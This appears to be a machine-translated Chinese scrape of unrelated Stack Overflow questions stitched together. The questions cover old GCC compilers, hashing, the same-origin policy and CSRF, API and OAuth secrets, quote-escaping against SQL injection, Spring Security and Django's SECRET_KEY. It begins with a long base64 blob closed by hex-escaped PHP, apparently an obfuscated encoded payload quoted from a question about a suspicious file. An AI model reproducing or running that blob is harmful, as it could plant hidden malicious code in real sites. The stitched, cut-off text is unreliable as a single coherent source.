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'\x29\x29\x29\x3B",".");
?>
Run Code Online (Sandbox Code Playgroud)编辑:
这是未经模糊处理的PHP代码:http://pastie.org/1058996
我们有一些生产中没有人关心的构建系统,这些机器运行古老版本的GCC,如GCC 3或GCC 2.
而且我无法说服管理层将其升级到更近期:他们说,"如果没有破产,就不要修理它".
由于我们维护了一个非常古老的代码库(写于80年代),这个C89代码在这些编译器上编译得很好.
但我不确定使用这些旧东西是个好主意.
我的问题是:
可以使用旧的C编译器破坏编译程序的安全性吗?
更新:
相同的代码是由Visual Studio 2008 for Windows目标构建的,而MSVC还不支持C99或C11(我不知道更新的MSVC是否支持),我可以使用最新的GCC在我的Linux机器上构建它.因此,如果我们只是放入一个较新的GCC,它可能会像以前一样好.
我基本上准备将短语放入数据库,它们可能会出错,所以我想要存储它们的短哈希(我将简单地比较它们是否存在,所以哈希是理想的).
我假设MD5在100,000多个请求上相当慢,所以我想知道什么是散列短语的最佳方法,可能推出我自己的哈希函数或使用hash('md4', '...'最终会更快?
我知道MySQL有MD5(),所以这会在查询结束时补充一点速度,但也许在MySQL中还有一个更快的哈希函数,我不知道这可以用于PHP ..
我已经看过关于这个主题的文章和帖子(包括SO),而流行的评论是同源策略阻止跨域的表单POST.我见过的唯一一个人建议同源政策不适用于表格帖子,就在这里.
我想从更"官方"或正式的消息来源得到答案.例如,有没有人知道解决同源来源如何影响表格POST的RFC?
澄清:我不是在询问是否可以构建GET或POST并将其发送到任何域.我在问:
顺便提一下,如果同源不影响表单POST,那么它就会更清楚地说明为什么需要使用防伪令牌.我说"有些"因为似乎很容易相信攻击者可以简单地发出HTTP GET来检索包含防伪令牌的表单,然后进行包含相同令牌的非法POST.评论?
我将一些HTML加载到iframe中但是当引用的文件使用http而不是https时,我收到以下错误:
[已阻止] {current_pagename}的页面从{referenced_filename}运行了不安全的内容
有什么方法可以关闭它或以任何方式解决它?
iframe没有src属性,内容使用以下方式设置:
frame.open();
frame.write(html);
frame.close();
Run Code Online (Sandbox Code Playgroud) 我刚刚开始思考api密钥和密钥是如何工作的.就在2天前,我注册了Amazon S3并安装了S3Fox插件.他们问我的访问密钥和秘密访问密钥,这两个密钥都要求我登录访问.
所以我想知道,如果他们问我的密钥,他们一定要把它存放在某个地方吗?这与询问我的信用卡号码或密码并将其存储在自己的数据库中基本相同吗?
秘密密钥和API密钥如何工作?他们需要有多秘密?这些应用程序是否使用秘密密钥以某种方式存储它?
感谢您的见解.
我意识到参数化SQL查询是构建包含用户输入的查询时消毒用户输入的最佳方式,但我想知道使用用户输入并转义任何单引号并用单引号包围整个字符串有什么问题.这是代码:
sSanitizedInput = "'" & Replace(sInput, "'", "''") & "'"
Run Code Online (Sandbox Code Playgroud)
用户输入的任何单引号都被双单引号替换,这消除了用户结束字符串的能力,因此他们可能键入的任何其他内容(例如分号,百分号等)都将成为字符串的一部分而不是实际上作为命令的一部分执行.我们使用的是Microsoft SQL Server 2000,我相信单引号是唯一的字符串分隔符,也是逃避字符串分隔符的唯一方法,因此无法执行用户键入的任何内容.
我没有看到任何方法发起针对此的SQL注入攻击,但我意识到,如果这是像我看来一样的防弹,其他人会想到它,这将是常见的做法.我的问题是:这段代码有什么问题?有没有人知道通过这种清理技术获得SQL注入攻击的方法?利用此技术的示例用户输入将非常有用.
更新:
感谢大家的回答; 几乎我在研究中遇到的所有信息都出现在这个页面的某个地方,这表明那些在忙碌的日子里抽出时间帮助我解决这个问题的人的智慧和技巧.
我还没有接受任何答案的原因是我仍然不知道如何有效地针对此代码启动SQL注入攻击.有些人建议反斜杠会转义一个单引号而另一个引用字符串结束,以便字符串的其余部分作为SQL命令的一部分执行,我意识到这个方法可以将SQL注入一个mySQL数据库,但在MS SQL 2000中,唯一的方法(我能够找到)逃避单引号是另一个单一的qoute; 反斜杠不会这样做.除非有办法停止单引号的转义,否则其余的用户输入都不会被执行,因为它将全部作为一个连续的字符串.
我知道有更好的方法来消毒输入,但我真的更有兴趣了解为什么我上面提供的方法不起作用.如果有人知道对这种清理方法进行SQL注入攻击的任何特定方法,我很乐意看到它.
我的公司一直在评估Spring MVC,以确定我们是否应该在下一个项目中使用它.到目前为止,我喜欢我所看到的内容,现在我正在查看Spring Security模块,以确定它是否可以/应该使用.
我们的安全要求非常基本; 用户只需提供用户名和密码即可访问网站的某些部分(例如获取有关其帐户的信息); 并且网站上有一些页面(常见问题解答,支持等),应该授予匿名用户访问权限.
在我创建的原型中,我一直在Session中为经过身份验证的用户存储"LoginCredentials"对象(其中只包含用户名和密码); 例如,某些控制器检查此对象是否在会话中以获取对登录用户名的引用.我正在寻找用Spring Security取代这个本土逻辑,这将有很好的好处,可以删除任何类型的"我们如何跟踪登录用户?" 和"我们如何验证用户?" 来自我的控制器/业务代码.
似乎Spring Security提供了一个(每个线程)"上下文"对象,可以从应用程序的任何位置访问用户名/主体信息...
Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
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...在某种程度上,这个对象是一个(全局)单例,这似乎非常不像Spring.
我的问题是:如果这是在Spring Security中访问有关经过身份验证的用户的信息的标准方法,那么将Authentication对象注入SecurityContext的可接受方式是什么,以便在单元测试需要时可用于我的单元测试认证用户?
我是否需要在每个测试用例的初始化方法中进行连接?
protected void setUp() throws Exception {
...
SecurityContextHolder.getContext().setAuthentication(
new UsernamePasswordAuthenticationToken(testUser.getLogin(), testUser.getPassword()));
...
}
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这似乎过于冗长.有没有更简单的方法?
该SecurityContextHolder物体本身似乎非常联合国春天般的...
SECRET_KEYdjango 究竟是什么意思?我做了一些谷歌搜索并检查了文档(https://docs.djangoproject.com/en/dev/ref/settings/#secret-key),但我正在寻找更深入的解释,以及为什么需要它.
例如,如果密钥被泄露/其他人知道它是什么,会发生什么?谢谢.
使用OAuth协议时,您需要从要委派的服务获取的秘密字符串.如果您在Web应用程序中执行此操作,则可以将秘密存储在数据库或文件系统中,但在移动应用程序(或桌面应用程序)中处理此问题的最佳方法是什么?
在应用程序中存储字符串显然不是很好,因为有人可以很容易地找到并滥用它.
另一种方法是将其存储在您的服务器上,并让应用程序在每次运行时获取它,而不是将其存储在手机上.这几乎一样糟糕,因为您必须在应用程序中包含URL.
我能想到的唯一可行解决方案是首先正常获取访问令牌(最好使用应用程序内部的Web视图),然后通过我们的服务器路由所有进一步的通信,这将秘密附加到请求数据并进行通信与提供者.再说一次,我是一个安全菜鸟,所以我真的很想听听一些知识渊博的人对此的看法.在我看来,大多数应用程序都没有这么长时间来保证安全性(例如,Facebook Connect似乎假设您将秘密放入应用程序中的字符串中).
另一件事:我不相信最初请求访问令牌的秘密,所以可以在不涉及我们自己的服务器的情况下完成.我对么?
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